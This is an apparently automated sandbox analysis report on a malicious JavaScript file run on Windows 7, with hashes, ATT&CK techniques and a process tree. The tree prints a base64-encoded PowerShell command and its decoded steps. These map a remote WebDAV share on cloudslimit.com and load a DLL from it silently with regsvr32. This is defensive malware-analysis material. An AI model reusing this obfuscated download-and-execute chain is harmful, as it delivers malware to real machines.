39cda86877b3fa80a81b335f29ddf729050add464601e91180671fbc03a86eee

Analysis

max time kernel
16s
max time network
18s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 14:00

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General

Target

39cda86877b3fa80a81b335f29ddf729050add464601e91180671fbc03a86eee.js
Size

10KB
MD5

917a26523c6c25a7071fadea8b57a2bb
SHA1

87edae2eba0e487edc23e198bfa0b48dab88f954
SHA256

39cda86877b3fa80a81b335f29ddf729050add464601e91180671fbc03a86eee
SHA512

5d8100cd612d52c62d1e5f658ae630f2e2e6c8822e959436b3c94095dba335b1722229145b91a2f72838f40662d47574ad155d641528a1ad1edafe35d49cf451
SSDEEP

192:UzXSYZDmeOlo8BVlmnfpblPDuwWftAQ0KnHkR:UzXLZmeOWznawWiQu

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2696	2212	wscript.exe	30
PID 2212 wrote to memory of 2696	2212	wscript.exe	30
PID 2212 wrote to memory of 2696	2212	wscript.exe	30
PID 2696 wrote to memory of 2760	2696	powershell.exe	32
PID 2696 wrote to memory of 2760	2696	powershell.exe	32
PID 2696 wrote to memory of 2760	2696	powershell.exe	32
PID 2696 wrote to memory of 2880	2696	powershell.exe	33
PID 2696 wrote to memory of 2880	2696	powershell.exe	33
PID 2696 wrote to memory of 2880	2696	powershell.exe	33
PID 2696 wrote to memory of 2880	2696	powershell.exe	33
PID 2696 wrote to memory of 2880	2696	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\39cda86877b3fa80a81b335f29ddf729050add464601e91180671fbc03a86eee.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADkANwA2ADMAMgA4ADkAMwA4ADIAMQA3ADIALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2760
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\19763289382172.dll
    3⤵
    PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2696-4-0x000007FEF60DE000-0x000007FEF60DF000-memory.dmp

Filesize
4KB

Download
memory/2696-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2696-6-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/2696-7-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-10-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-9-0x00000000027FB000-0x0000000002862000-memory.dmp

Filesize
412KB

Download
memory/2696-8-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/2696-11-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download